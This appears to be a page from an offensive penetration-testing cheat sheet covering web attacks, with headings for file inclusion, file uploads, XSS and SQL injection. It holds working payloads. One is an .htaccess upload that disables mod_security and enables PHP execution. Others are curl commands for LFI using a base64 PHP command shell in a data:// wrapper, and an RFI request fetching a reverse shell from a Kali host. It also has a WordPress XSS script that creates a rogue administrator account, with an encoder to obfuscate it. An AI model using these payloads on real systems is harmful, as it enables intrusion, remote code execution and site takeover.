Web Attack
Local File Inclusion (LFI)
Log Poisoning
File Uploads
4
If uploading or accessing the file fails
# Allow access to all file types, including potentially dangerous ones
AddType application/octet-stream .exe .ps1 .bat .sh .php5 .php7 .php .phtml .pl .py
AddHandler application/x-httpd-php .php .php5 .php7 .phtml
# Override any restrictive settings
Options +Indexes +ExecCGI
AllowOverride All
Require all granted
# Disable mod_security and other restrictions (if supported)
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>
# Enable uploads with any extension (if used with web apps)
<FilesMatch ".*">
Order allow,deny
Allow from all
</FilesMatch>PHP Wrappers
curl <Domain Name>?page=php://filter/convert.base64-encode/resource=<Path To File>curl "<Domain Name>?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=<Command in URL encoding>"Remote File Inclusion (RFI)
curl "<Domain Name>?page=http://<Kali IP Address>/<Reverse Shell File>"XSS
1
Compress the functions using JScompress
var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wp-admin/user-new.php"; // Replace with the actual endpoint
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=hacker@test.com&pass1=hacker&pass2=hacker&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);2
Convert the compressed JavaScript to UTF-16
function encode_to_javascript(string) {
var input = string
var output = '';
for(pos = 0; pos < input.length; pos++) {
output += input.charCodeAt(pos);
if(pos != (input.length - 1)) {
output += ",";
}
}
return output;
}
let encoded = encode_to_javascript('insert_minified_javascript')
console.log(encoded)SQL Injection (SQLi)
SQLi Authentication Bypass
MySQL
MSSQL
PostgreSQL
MongoDB (NoSQL Injection)
Error-Based SQLi
Union-Based SQLi
Manual Code Execution in MSSQL
Encoded Examples
One-Liner Reverse Shell (MSSQL)
Last updated
